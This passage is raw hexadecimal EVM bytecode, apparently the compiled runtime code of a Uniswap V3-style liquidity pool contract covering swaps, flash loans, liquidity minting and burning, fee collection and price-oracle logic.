01806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b5050505061129e613cd4565b6112a88289613e0d565b11156112e1576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b50611411565b600086121561131e5761131e7f00000000000000000000000000000000000000000000000000000000000000008d88600003613b86565b6000611328613e1d565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156113ac57600080fd5b505af11580156113c0573d6000803e3d6000fd5b505050506113cc613e1d565b6113d68288613e0d565b111561140f576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b505b60408082015160c083015160608085015184518b8152602081018b90526001600160a01b03948516818701526001600160801b039093169183019190915260020b60808201529151908e169133917fc42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca679181900360a00190a350506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b6004546001600160801b031681565b6003546001600160801b0380821691600160801b90041682565b60088161ffff81106114e757600080fd5b015463ffffffff81169150640100000000810460060b90600160581b81046001600160a01b031690600160f81b900460ff1684565b600054600160f01b900460ff16611560576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611575612bf0565b60008054600160d81b900461ffff169061159160088385613eb5565b6000805461ffff808416600160d81b810261ffff60d81b19909316929092179092559192508316146115fe576040805161ffff80851682528316602082015281517fac49e518f90a358f652e4400164f05a5d8f7e35e7747279bc3a93dbf584e125a929181900390910190a15b50506000805460ff60f01b1916600160f01b17905550565b6000546001600160a01b03811690600160a01b810460020b9061ffff600160b81b8204811691600160c81b8104821691600160d81b8204169060ff600160e81b8204811691600160f01b90041687565b600080548190600160f01b900460ff166116ad576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b191690556001600160801b0385166116cd57600080fd5b60008061171b60405180608001604052808c6001600160a01b031681526020018b60020b81526020018a60020b81526020016117118a6001600160801b0316613f58565b600f0b9052613f69565b9250925050819350809250600080600086111561173d5761173a613cd4565b91505b841561174e5761174b613e1d565b90505b336001600160a01b031663d348799787878b8b6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156117d057600080fd5b505af11580156117e4573d6000803e3d6000fd5b50505050600086111561183b576117f9613cd4565b6118038388613e0d565b111561183b576040805162461bcd60e51b815260206004820152600260248201526104d360f41b604482015290519081900360640190fd5b841561188b57611849613e1d565b6118538287613e0d565b111561188b576040805162461bcd60e51b81526020600482015260026024820152614d3160f01b604482015290519081900360640190fd5b8960020b8b60020b8d6001600160a01b03167f7a53080ba414158be7ec69b987b5fb7d07dee101fe85488f0853ae16239d0bde338d8b8b60405180856001600160a01b03168152602001846001600160801b0316815260200183815260200182815260200194505050505060405180910390a450506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b60025481565b600054600160f01b900460ff1661196c576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611981612bf0565b6004546001600160801b0316806119c3576040805162461bcd60e51b81526020600482015260016024820152601360fa1b604482015290519081900360640190fd5b60006119f8867f000000000000000000000000000000000000000000000000000000000000000062ffffff16620f42406141a9565b90506000611a2f867f000000000000000000000000000000000000000000000000000000000000000062ffffff16620f42406141a9565b90506000611a3b613cd4565b90506000611a47613e1d565b90508815611a7a57611a7a7f00000000000000000000000000000000000000000000000000000000000000008b8b613b86565b8715611aab57611aab7f00000000000000000000000000000000000000000000000000000000000000008b8a613b86565b336001600160a01b031663e9cbafb085858a8a6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015611b2d57600080fd5b505af1158015611b41573d6000803e3d6000fd5b505050506000611b4f613cd4565b90506000611b5b613e1d565b905081611b688588613e0d565b1115611ba0576040805162461bcd60e51b8152602060048201526002602482015261046360f41b604482015290519081900360640190fd5b80611bab8487613e0d565b1115611be3576040805162461bcd60e51b8152602060048201526002602482015261463160f01b604482015290519081900360640190fd5b8382038382038115611c725760008054600160e81b9004600f16908115611c16578160ff168481611c1057fe5b04611c19565b60005b90506001600160801b03811615611c4c57600380546001600160801b038082168401166001600160801b03199091161790555b611c66818503600160801b8d6001600160801b03166132d9565b60018054909101905550505b8015611cfd5760008054600160e81b900460041c600f16908115611ca2578160ff168381611c9c57fe5b04611ca5565b60005b90506001600160801b03811615611cd757600380546001600160801b03600160801b8083048216850182160291161790555b611cf1818403600160801b8d6001600160801b03166132d9565b60028054909101905550505b8d6001600160a01b0316336001600160a01b03167fbdbdb71d7860376ba52b25a5028beea23581364a40522f6bcfb86bb1f2dca6338f8f86866040518085815260200184815260200183815260200182815260200194505050505060405180910390a350506000805460ff60f01b1916600160f01b179055505050505050505050505050565b600080548190600160f01b900460ff16611dca576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19168155611de460073389896141e3565b60038101549091506001600160801b0390811690861611611e055784611e14565b60038101546001600160801b03165b60038201549093506001600160801b03600160801b909104811690851611611e3c5783611e52565b6003810154600160801b90046001600160801b03165b91506001600160801b03831615611eb7576003810180546001600160801b031981166001600160801b03918216869003821617909155611eb7907f0000000000000000000000000000000000000000000000000000000000000000908a908616613b86565b6001600160801b03821615611f1d576003810180546001600160801b03600160801b808304821686900382160291811691909117909155611f1d907f0000000000000000000000000000000000000000000000000000000000000000908a908516613b86565b604080516001600160a01b038a1681526001600160801b0380861660208301528416818301529051600288810b92908a900b9133917f70935338e69775456a85ddef226c395fb668b63fa0115f5f20610b388e6ca9c0919081900360600190a4506000805460ff60f01b1916600160f01b17905590969095509350505050565b60076020526000908152604090208054600182015460028301546003909301546001600160801b0392831693919281811691600160801b90041685565b60066020526000908152604090205481565b7f000000000000000000000000000000000000000000000000000000000000000081565b600054600160f01b900460ff16612054576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691638da5cb5b916004808301926020929190829003018186803b1580156120c157600080fd5b505afa1580156120d5573d6000803e3d6000fd5b505050506040513d60208110156120eb57600080fd5b50516001600160a01b0316331461210157600080fd5b60ff82161580612124575060048260ff16101580156121245750600a8260ff1611155b801561214e575060ff8116158061214e575060048160ff161015801561214e5750600a8160ff1611155b61215757600080fd5b60008054610ff0600484901b16840160ff908116600160e81b9081027fffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841617909355919004167f973d8d92bb299f4af6ce49b52a8adb85ae46b9f214c4c4fc06ac77401237b1336010826040805160ff9390920683168252600f600486901c16602083015286831682820152918516606082015290519081900360800190a150506000805460ff60f01b1916600160f01b17905550565b600080548190600160f01b900460ff16612256576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691638da5cb5b916004808301926020929190829003018186803b1580156122c357600080fd5b505afa1580156122d7573d6000803e3d6000fd5b505050506040513d60208110156122ed57600080fd5b50516001600160a01b0316331461230357600080fd5b6003546001600160801b039081169085161161231f578361232c565b6003546001600160801b03165b6003549092506001600160801b03600160801b9091048116908416116123525782612366565b600354600160801b90046001600160801b03165b90506001600160801b038216156123e7576003546001600160801b038381169116141561239557600019909101905b600380546001600160801b031981166001600160801b039182168590038216179091556123e7907f00000000000000000000000000000000000000000000000000000000000000009087908516613b86565b6001600160801b0381161561246d576003546001600160801b03828116600160801b90920416141561241857600019015b600380546001600160801b03600160801b80830482168590038216029181169190911790915561246d907f00000000000000000000000000000000000000000000000000000000000000009087908416613b86565b604080516001600160801b0380851682528316602082015281516001600160a01b0388169233927f596b573906218d3411850b26a6b437d6c4522fdb43d2d2386263f86d50b8b151929081900390910190a36000805460ff60f01b1916600160f01b1790559094909350915050565b6060806124e7612bf0565b61255e6124f2612c27565b858580806020026020016040519081016040528093929190818152602001838360200280828437600092018290525054600454600896959450600160a01b820460020b935061ffff600160b81b8304811693506001600160801b0390911691600160c81b900416614247565b915091509250929050565b600080548190600160f01b900460ff166125b0576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916815560408051608081018252338152600288810b602083015287900b918101919091528190819061260990606081016125fc6001600160801b038a16613f58565b600003600f0b9052613f69565b925092509250816000039450806000039350600085118061262a5750600084115b15612669576003830180546001600160801b038082168089018216600160801b93849004831689019092169092029091176001600160801b0319161790555b604080516001600160801b0388168152602081018790528082018690529051600289810b92908b900b9133917f0c396cd989a39f4459b5fa1aed6a9a8dcdbc45908acfd67e028cd568da98982c919081900360600190a450506000805460ff60f01b1916600160f01b179055509094909350915050565b60008060006126ed612bf0565b6126f785856143a1565b600285810b810b60009081526005602052604080822087840b90930b825281206003830154600681900b9367010000000000000082046001600160a01b0316928492600160d81b810463ffffffff169284929091600160f81b900460ff168061275f57600080fd5b6003820154600681900b985067010000000000000081046001600160a01b03169650600160d81b810463ffffffff169450600160f81b900460ff16806127a457600080fd5b50506040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b810b6020840181905261ffff600160b81b8404811695850195909552600160c81b830485166060850152600160d81b8304909416608084015260ff600160e81b8304811660a0850152600160f01b909204909116151560c08301529093508e810b91900b1215905061284d575093909403965090039350900390506128d0565b8a60020b816020015160020b12156128c1576000612869612c27565b602083015160408401516004546060860151939450600093849361289f936008938893879392916001600160801b031690613389565b9a9003989098039b5050949096039290920396509091030392506128d0915050565b50949093039650039350900390505b9250925092565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b60015481565b60056020526000908152604090208054600182015460028301546003909301546001600160801b03831693600160801b909304600f0b9290600681900b9067010000000000000081046001600160a01b031690600160d81b810463ffffffff1690600160f81b900460ff1688565b6000546001600160a01b031615612a1e576040805162461bcd60e51b8152602060048201526002602482015261414960f01b604482015290519081900360640190fd5b6000612a29826136a5565b9050600080612a41612a39612c27565b60089061446a565b6040805160e0810182526001600160a01b038816808252600288810b6020808501829052600085870181905261ffff898116606088018190529089166080880181905260a08801839052600160c0909801979097528154600160f01b73ffffffffffffffffffffffffffffffffffffffff19909116871762ffffff60a01b1916600160a01b62ffffff9787900b9790971696909602959095177fffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffff16600160c81b9091021761ffff60d81b1916600160d81b909602959095177fff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1692909217909355835191825281019190915281519395509193507f98636036cb66a9c19a37435efc1e90142190214e8abeb821bdba3f2990dd4c9592918290030190a150505050565b60008082600281900b620d89e71981612b9957fe5b05029050600083600281900b620d89e881612bb057fe5b0502905060008460020b83830360020b81612bc757fe5b0560010190508062ffffff166001600160801b03801681612be457fe5b0493505050505b919050565b306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614612c2557600080fd5b565b4290565b60008060008460020b8660020b81612c3f57fe5b05905060008660020b128015612c6657508460020b8660020b81612c5f57fe5b0760020b15155b15612c7057600019015b8315612ce557600080612c82836144b6565b600182810b810b600090815260208d9052604090205460ff83169190911b80016000190190811680151597509294509092509085612cc757888360ff16860302612cda565b88612cd1826144c8565b840360ff168603025b965050505050612d63565b600080612cf4836001016144b6565b91509150600060018260ff166001901b031990506000818b60008660010b60010b8152602001908152602001600020541690508060001415955085612d4657888360ff0360ff16866001010102612d5c565b8883612d5183614568565b0360ff168660010101025b9650505050505b5094509492505050565b60008060008360020b12612d84578260020b612d8c565b8260020b6000035b9050620d89e8811115612dca576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b600060018216612dde57600160801b612df0565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615612e24576ffff97272373d413259a46990580e213a0260801c5b6004821615612e43576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615612e62576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615612e81576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615612ea0576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615612ebf576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615612ede576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615612efe576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615612f1e576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615612f3e576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615612f5e576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615612f7e576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615612f9e576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615612fbe576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615612fde576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615612fff576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561301f576e5d6af8dedb81196699c329225ee6040260801c5b6204000082161561303e576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561305b576b048a170391f7dc42444e8fa20260801c5b60008460020b131561307657806000198161307257fe5b0490505b64010000000081061561308a57600161308d565b60005b60ff16602082901c0192505050919050565b60008080806001600160a01b03808916908a1610158187128015906131245760006130d88989620f42400362ffffff16620f42406132d9565b9050826130f1576130ec8c8c8c6001614652565b6130fe565b6130fe8b8d8c60016146cd565b955085811061310f578a965061311e565b61311b8c8b838661478a565b96505b5061316e565b8161313b576131368b8b8b60006146cd565b613148565b6131488a8c8b6000614652565b935083886000031061315c5789955061316e565b61316b8b8a8a600003856147d6565b95505b6001600160a01b038a81169087161482156131d15780801561318d5750815b6131a35761319e878d8c60016146cd565b6131a5565b855b95508080156131b2575081155b6131c8576131c3878d8c6000614652565b6131ca565b845b945061321b565b8080156131db5750815b6131f1576131ec8c888c6001614652565b6131f3565b855b9550808015613200575081155b613216576132118c888c60006146cd565b613218565b845b94505b8115801561322b57508860000385115b15613237578860000394505b81801561325657508a6001600160a01b0316876001600160a01b031614155b15613265578589039350613282565b61327f868962ffffff168a620f42400362ffffff166141a9565b93505b50505095509550955095915050565b6000600160ff1b82106132a357600080fd5b5090565b808203828113156000831215146132bd57600080fd5b92915050565b818101828112156000831215146132bd57600080fd5b600080806000198587098686029250828110908390030390508061330f576000841161330457600080fd5b508290049050613382565b80841161331b57600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150505b9392505050565b60008063ffffffff8716613430576000898661ffff1661ffff81106133aa57fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff16151560608301529092508a161461341c57613419818a8988614822565b90505b806020015181604001519250925050613510565b8688036000806134458c8c858c8c8c8c6148d2565b91509150816000015163ffffffff168363ffffffff161415613477578160200151826040015194509450505050613510565b805163ffffffff8481169116141561349f578060200151816040015194509450505050613510565b8151815160208085015190840151918390039286039163ffffffff80841692908516910360060b816134cd57fe5b05028460200151018263ffffffff168263ffffffff1686604001518660400151036001600160a01b031602816134ff57fe5b048560400151019650965050505050505b97509795505050505050565b600295860b860b60009081526020979097526040909620600181018054909503909455938301805490920390915560038201805463ffffffff600160d81b6001600160a01b036701000000000000008085048216909603169094027fffffffffff0000000000000000000000000000000000000000ffffffffffffff90921691909117600681810b90960390950b66ffffffffffffff1666ffffffffffffff199095169490941782810485169095039093160263ffffffff60d81b1990931692909217905554600160801b9004600f0b90565b60008082600f0b121561365457826001600160801b03168260000384039150816001600160801b03161061364f576040805162461bcd60e51b81526020600482015260026024820152614c5360f01b604482015290519081900360640190fd5b6132bd565b826001600160801b03168284019150816001600160801b031610156132bd576040805162461bcd60e51b81526020600482015260026024820152614c4160f01b604482015290519081900360640190fd5b60006401000276a36001600160a01b038316108015906136e1575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b613716576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106137b757607f810383901c91506137c1565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146139c257886001600160a01b03166139a682612d6d565b6001600160a01b031611156139bb57816139bd565b805b6139c4565b815b9998505050505050505050565b6000806000898961ffff1661ffff81106139e757fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff161515606083015290925089161415613a575788859250925050613510565b8461ffff168461ffff16118015613a7857506001850361ffff168961ffff16145b15613a8557839150613a89565b8491505b8161ffff168960010161ffff1681613a9d57fe5b069250613aac81898989614822565b8a8461ffff1661ffff8110613abd57fe5b825191018054602084015160408501516060909501511515600160f81b027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6001600160a01b03909616600160581b027fff0000000000000000000000000000000000000000ffffffffffffffffffffff60069390930b66ffffffffffffff16640100000000026affffffffffffff000000001963ffffffff90971663ffffffff199095169490941795909516929092171692909217929092161790555097509795505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310613c025780518252601f199092019160209182019101613be3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613c64576040519150601f19603f3d011682016040523d82523d6000602084013e613c69565b606091505b5091509150818015613c97575080511580613c975750808060200190516020811015613c9457600080fd5b50515b613ccd576040805162461bcd60e51b81526020600482015260026024820152612a2360f11b604482015290519081900360640190fd5b5050505050565b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001693919290918291908083835b60208310613d6d5780518252601f199092019160209182019101613d4e565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114613dcd576040519150601f19603f3d011682016040523d82523d6000602084013e613dd2565b606091505b5091509150818015613de657506020815110155b613def57600080fd5b808060200190516020811015613e0457600080fd5b50519250505090565b808201828110156132bd57600080fd5b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016939192909182919080838360208310613d6d5780518252601f199092019160209182019101613d4e565b6000808361ffff1611613ef3576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b8261ffff168261ffff1611613f09575081613382565b825b8261ffff168161ffff161015613f4f576001858261ffff1661ffff8110613f2e57fe5b01805463ffffffff191663ffffffff92909216919091179055600101613f0b565b50909392505050565b80600f81900b8114612beb57600080fd5b6000806000613f76612bf0565b613f88846020015185604001516143a1565b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602080840182905261ffff600160b81b8404811685870152600160c81b84048116606080870191909152600160d81b8504909116608086015260ff600160e81b8504811660a0870152600160f01b909404909316151560c08501528851908901519489015192890151939461402c9491939092909190614acf565b93508460600151600f0b6000146141a157846020015160020b816020015160020b12156140815761407a6140638660200151612d6d565b6140708760400151612d6d565b8760600151614c84565b92506141a1565b846040015160020b816020015160020b12156141775760045460408201516001600160801b03909116906140d3906140b7612c27565b60208501516060860151608087015160089493929187916139d1565b6000805461ffff60c81b1916600160c81b61ffff938416021761ffff60b81b1916600160b81b939092169290920217905581516040870151614123919061411990612d6d565b8860600151614c84565b93506141416141358760200151612d6d565b83516060890151614cc8565b92506141518187606001516135ef565b600480546001600160801b0319166001600160801b0392909216919091179055506141a1565b61419e6141878660200151612d6d565b6141948760400151612d6d565b8760600151614cc8565b91505b509193909250565b60006141b68484846132d9565b9050600082806141c257fe5b84860911156133825760001981106141d957600080fd5b6001019392505050565b6040805160609490941b6bffffffffffffffffffffffff1916602080860191909152600293840b60e890811b60348701529290930b90911b60378401528051808403601a018152603a90930181528251928201929092206000908152929052902090565b60608060008361ffff1611614287576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b865167ffffffffffffffff8111801561429f57600080fd5b506040519080825280602002602001820160405280156142c9578160200160208202803683370190505b509150865167ffffffffffffffff811180156142e457600080fd5b5060405190808252806020026020018201604052801561430e578160200160208202803683370190505b50905060005b87518110156143945761433f8a8a8a848151811061432e57fe5b60200260200101518a8a8a8a613389565b84838151811061434b57fe5b6020026020010184848151811061435e57fe5b60200260200101826001600160a01b03166001600160a01b03168152508260060b60060b81525050508080600101915050614314565b5097509795505050505050565b8060020b8260020b126143e1576040805162461bcd60e51b8152602060048201526003602482015262544c5560e81b604482015290519081900360640190fd5b620d89e719600283900b1215614424576040805162461bcd60e51b8152602060048201526003602482015262544c4d60e81b604482015290519081900360640190fd5b620d89e8600282900b1315614466576040805162461bcd60e51b815260206004820152600360248201526254554d60e81b604482015290519081900360640190fd5b5050565b6040805160808101825263ffffffff9283168082526000602083018190529282019290925260016060909101819052835463ffffffff1916909117909116600160f81b17909155908190565b60020b600881901d9161010090910790565b60008082116144d657600080fd5b600160801b82106144e957608091821c91015b68010000000000000000821061450157604091821c91015b640100000000821061451557602091821c91015b62010000821061452757601091821c91015b610100821061453857600891821c91015b6010821061454857600491821c91015b6004821061455857600291821c91015b60028210612beb57600101919050565b600080821161457657600080fd5b5060ff6001600160801b0382161561459157607f1901614599565b608082901c91505b67ffffffffffffffff8216156145b257603f19016145ba565b604082901c91505b63ffffffff8216156145cf57601f19016145d7565b602082901c91505b61ffff8216156145ea57600f19016145f2565b601082901c91505b60ff821615614604576007190161460c565b600882901c91505b600f82161561461e5760031901614626565b600482901c91505b60038216156146385760011901614640565b600282901c91505b6001821615612beb5760001901919050565b6000836001600160a01b0316856001600160a01b03161115614672579293925b8161469f5761469a836001600160801b03168686036001600160a01b0316600160601b6132d9565b6146c2565b6146c2836001600160801b03168686036001600160a01b0316600160601b6141a9565b90505b949350505050565b6000836001600160a01b0316856001600160a01b031611156146ed579293925b7bffffffffffffffffffffffffffffffff000000000000000000000000606084901b166001600160a01b03868603811690871661472957600080fd5b8361475957866001600160a01b031661474c8383896001600160a01b03166132d9565b8161475357fe5b0461477f565b61477f6147708383896001600160a01b03166141a9565b886001600160a01b0316614cf7565b979650505050505050565b600080856001600160a01b0316116147a157600080fd5b6000846001600160801b0316116147b757600080fd5b816147c95761469a8585856001614d02565b6146c28585856001614de3565b600080856001600160a01b0316116147ed57600080fd5b6000846001600160801b03161161480357600080fd5b816148155761469a8585856000614de3565b6146c28585856000614d02565b61482a61564a565b600085600001518503905060405180608001604052808663ffffffff1681526020018263ffffffff168660020b0288602001510160060b81526020016000856001600160801b03161161487e576001614880565b845b6001600160801b031673ffffffff00000000000000000000000000000000608085901b16816148ab57fe5b048860400151016001600160a01b0316815260200160011515815250915050949350505050565b6148da61564a565b6148e261564a565b888561ffff1661ffff81106148f357fe5b60408051608081018252919092015463ffffffff81168083526401000000008204600690810b810b900b6020840152600160581b82046001600160a01b031693830193909352600160f81b900460ff1615156060820152925061495890899089614ed8565b15614990578663ffffffff16826000015163ffffffff16141561497a57613510565b8161498783898988614822565b91509150613510565b888361ffff168660010161ffff16816149a557fe5b0661ffff1661ffff81106149b557fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b90910416151560608201819052909250614a6c57604080516080810182528a5463ffffffff811682526401000000008104600690810b810b900b6020830152600160581b81046001600160a01b031692820192909252600160f81b90910460ff161515606082015291505b614a7b88836000015189614ed8565b614ab2576040805162461bcd60e51b815260206004820152600360248201526213d31160ea1b604482015290519081900360640190fd5b614abf8989898887614f9b565b9150915097509795505050505050565b6000614ade60078787876141e3565b60015460025491925090600080600f87900b15614c24576000614aff612c27565b6000805460045492935090918291614b499160089186918591600160a01b810460020b9161ffff600160b81b83048116926001600160801b0390921691600160c81b900416613389565b9092509050614b8360058d8b8d8b8b87898b60007f000000000000000000000000000000000000000000000000000000000000000061513b565b9450614bba60058c8b8d8b8b87898b60017f000000000000000000000000000000000000000000000000000000000000000061513b565b93508415614bee57614bee60068d7f0000000000000000000000000000000000000000000000000000000000000000615325565b8315614c2057614c2060068c7f0000000000000000000000000000000000000000000000000000000000000000615325565b5050505b600080614c3660058c8c8b8a8a61538b565b9092509050614c47878a8484615437565b600089600f0b1215614c75578315614c6457614c6460058c6155cc565b8215614c7557614c7560058b6155cc565b50505050505095945050505050565b60008082600f0b12614caa57614ca5614ca085858560016146cd565b613291565b6146c5565b614cbd614ca085858560000360006146cd565b600003949350505050565b60008082600f0b12614ce457614ca5614ca08585856001614652565b614cbd614ca08585856000036000614652565b808204910615150190565b60008115614d755760006001600160a01b03841115614d3857614d3384600160601b876001600160801b03166132d9565b614d50565b6001600160801b038516606085901b81614d4e57fe5b045b9050614d6d614d686001600160a01b03881683613e0d565b6155f8565b9150506146c5565b60006001600160a01b03841115614da357614d9e84600160601b876001600160801b03166141a9565b614dba565b614dba606085901b6001600160801b038716614cf7565b905080866001600160a01b031611614dd157600080fd5b6001600160a01b0386160390506146c5565b600082614df15750836146c5565b7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b168215614e91576001600160a01b03861684810290858281614e3157fe5b041415614e6257818101828110614e6057614e5683896001600160a01b0316836141a9565b93505050506146c5565b505b614e8882614e83878a6001600160a01b03168681614e7c57fe5b0490613e0d565b614cf7565b925050506146c5565b6001600160a01b03861684810290858281614ea857fe5b04148015614eb557508082115b614ebe57600080fd5b808203614e56614d68846001600160a01b038b16846141a9565b60008363ffffffff168363ffffffff1611158015614f0257508363ffffffff168263ffffffff1611155b15614f1e578163ffffffff168363ffffffff1611159050613382565b60008463ffffffff168463ffffffff1611614f46578363ffffffff1664010000000001614f4e565b8363ffffffff165b64ffffffffff16905060008563ffffffff168463ffffffff1611614f7f578363ffffffff1664010000000001614f87565b8363ffffffff165b64ffffffffff169091111595945050505050565b614fa361564a565b614fab61564a565b60008361ffff168560010161ffff1681614fc157fe5b0661ffff169050600060018561ffff16830103905060005b506002818301048961ffff87168281614fee57fe5b0661ffff8110614ffa57fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b9091041615156060820181905290955061506557806001019250614fd9565b898661ffff16826001018161507657fe5b0661ffff811061508257fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b909104161515606082015285519094506000906150ed908b908b614ed8565b905080801561510657506151068a8a8760000151614ed8565b15615111575061512e565b8061512157600182039250615128565b8160010193505b50614fd9565b5050509550959350505050565b60028a810b900b600090815260208c90526040812080546001600160801b031682615166828d6135ef565b9050846001600160801b0316816001600160801b031611156151b4576040805162461bcd60e51b81526020600482015260026024820152614c4f60f01b604482015290519081900360640190fd5b6001600160801b03828116159082161581141594501561528a578c60020b8e60020b1361525a57600183018b9055600283018a90556003830180547fffffffffff0000000000000000000000000000000000000000ffffffffffffff166701000000000000006001600160a01b038c16021766ffffffffffffff191666ffffffffffffff60068b900b161763ffffffff60d81b1916600160d81b63ffffffff8a16021790555b6003830180547effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16600160f81b1790555b82546001600160801b0319166001600160801b038216178355856152d35782546152ce906152c990600160801b9004600f90810b810b908f900b6132c3565b613f58565b6152f4565b82546152f4906152c990600160801b9004600f90810b810b908f900b6132a7565b8354600f9190910b6001600160801b03908116600160801b0291161790925550909c9b505050505050505050505050565b8060020b8260020b8161533457fe5b0760020b1561534257600080fd5b60008061535d8360020b8560020b8161535757fe5b056144b6565b600191820b820b60009081526020979097526040909620805460ff9097169190911b90951890945550505050565b600285810b80820b60009081526020899052604080822088850b850b83529082209193849391929184918291908a900b126153d1575050600182015460028301546153e4565b8360010154880391508360020154870390505b6000808b60020b8b60020b121561540657505060018301546002840154615419565b84600101548a0391508460020154890390505b92909803979097039b96909503949094039850939650505050505050565b6040805160a08101825285546001600160801b0390811682526001870154602083015260028701549282019290925260038601548083166060830152600160801b900490911660808201526000600f85900b6154d65781516001600160801b03166154ce576040805162461bcd60e51b815260206004820152600260248201526104e560f41b604482015290519081900360640190fd5b5080516154e556